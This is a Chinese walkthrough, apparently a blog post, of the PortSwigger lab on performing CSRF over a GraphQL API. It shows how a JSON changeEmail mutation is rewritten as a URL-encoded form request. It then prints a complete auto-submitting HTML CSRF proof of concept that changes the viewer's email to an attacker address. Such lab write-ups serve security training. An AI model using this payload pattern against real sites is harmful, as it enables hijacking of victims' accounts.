CSRF+GraphQL的奇妙组合

Portswigger练兵场之GraphQL API

🦄CSRF+GraphQL修改邮箱

Lab: Performing CSRF exploits over GraphQL

实验前置必要知识点

首先我们要清楚CSRF无法发送内容类型为application/json
使用该内容类型的 POST 请求就可以防止伪造,使用内容类型 的 POST 请求就可以防止伪造。

但是,替代方法(如 GET 或任何内容类型为 x-www-form-urlencoded ) 的请求可以由浏览器发送,因此如果终结点接受这些请求,则可能会使用户容易受到攻击。在这种情况下,攻击者可能能够利用漏洞向 API发送恶意请求。

实验要求

本实验室的用户管理功能由GraphOL端点提供支持。端点接受内容类型为x-www-form-urlencoded的请求,因此容易受到跨站点请求伪造(CSRF)攻击。

要解决这个实验室问题,需要制作一些HTML,使用CSRF攻击来更改查看者的电子邮件地址,然后将其上传到您的漏洞利用服务器。

您可以使用以下凭据登录到您自己的帐户:wiener:peter。

渗透开始

  • 访问对应靶场界面
https://portswigger.net/web-security/graphql/lab-graphql-csrf-via-graphql-api
  • 启动靶场
1. 站点分析

这是博客类型的网站


存在查看文章,无其他功能点


然后存在登录端点


利用wiener:peter登录,存在修改邮箱内容


尝试修改一下

2. 寻找可疑功能点(查看Burp历史记录进行分析)

从总体来看,修改邮箱使用了GraphQL


我们的任务要求是制作CSRF攻击。因此,分析突破口在这。

3. 功能点测试

将对应的日志信息发送到重放模块
由于请求类型的限制,我们是无法直接利用CSRF


尝试修改成GET模式模式不允许


尝试修改请求方式为x-www-form-urlencoded
发现可以通过这种方式发送,修改请求内容

{"query":"\n    mutation changeEmail($input: ChangeEmailInput!) {\n        changeEmail(input: $input) {\n            email\n        }\n    }\n","operationName":"changeEmail","variables":{"input":{"email":"test@test"}}}

修改之后应该是类似GET的传参,将json形式修改

query=\n    mutation changeEmail($input: ChangeEmailInput!) {\n        changeEmail(input: $input) {\n            email\n        }\n    }\n&operationName=changeEmail&variables={"input":{"email":"test@test"}}

因为带空格,进行url编码

query=%5Cn%20%20%20%20mutation%20changeEmail(%24input%3A%20ChangeEmailInput!)%20%7B%5Cn%20%20%20%20%20%20%20%20changeEmail(input%3A%20%24input)%20%7B%5Cn%20%20%20%20%20%20%20%20%20%20%20%20email%5Cn%20%20%20%20%20%20%20%20%7D%5Cn%20%20%20%20%7D%5Cn%26operationName%3DchangeEmail%26variables%3D%7B%22input%22%3A%7B%22email%22%3A%22test%40test%22%7D%7D

发现存在错误,寻找修改


\n也应该进行修改的


但是发现还是有问题


最后进行修改 url编码并不是都适用,&与=不行

query=%0a+mutation+changeEmail(%24input%3a+ChangeEmailInput!)+%7b%0a++++++++changeEmail(input%3a+%24input)+%7b%0a++++++++++++email%0a++++++++%7d%0a++++%7d%0a&operationName=changeEmail&variables=%7b%22input%22%3a%7b%22email%22%3a%22test%40test%22%7d%7d

4.CSRF制作

检查一下HTTP包可以发现里面不存在TOKEN,可以直接CSRF


既然我们构造好可以成功修改邮箱之后,我们制作CSRF攻击包
右键 → 生成CSRF PoC → 自动提交


利用发送服务器发送恶意CSRF攻击包

5.完成实验
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a1c00330330a758818fa20300f2007d.web-security-academy.net/graphql/v1" method="POST">
      <input type="hidden" name="query" value="&#10;&#32;mutation&#32;changeEmail&#40;&#36;input&#58;&#32;ChangeEmailInput&#33;&#41;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;changeEmail&#40;input&#58;&#32;&#36;input&#41;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;email&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#125;&#10;&#32;&#32;&#32;&#32;&#125;&#10;" />
      <input type="hidden" name="operationName" value="changeEmail" />
      <input type="hidden" name="variables" value="&#123;&quot;input&quot;&#58;&#123;&quot;email&quot;&#58;&quot;ACCECK&#64;HACKER&quot;&#125;&#125;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

发送后成功修改受害者邮箱,完成实验

防御方法

要防止CSRF就是在校验类型的时候不允许application/json

  • 24
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值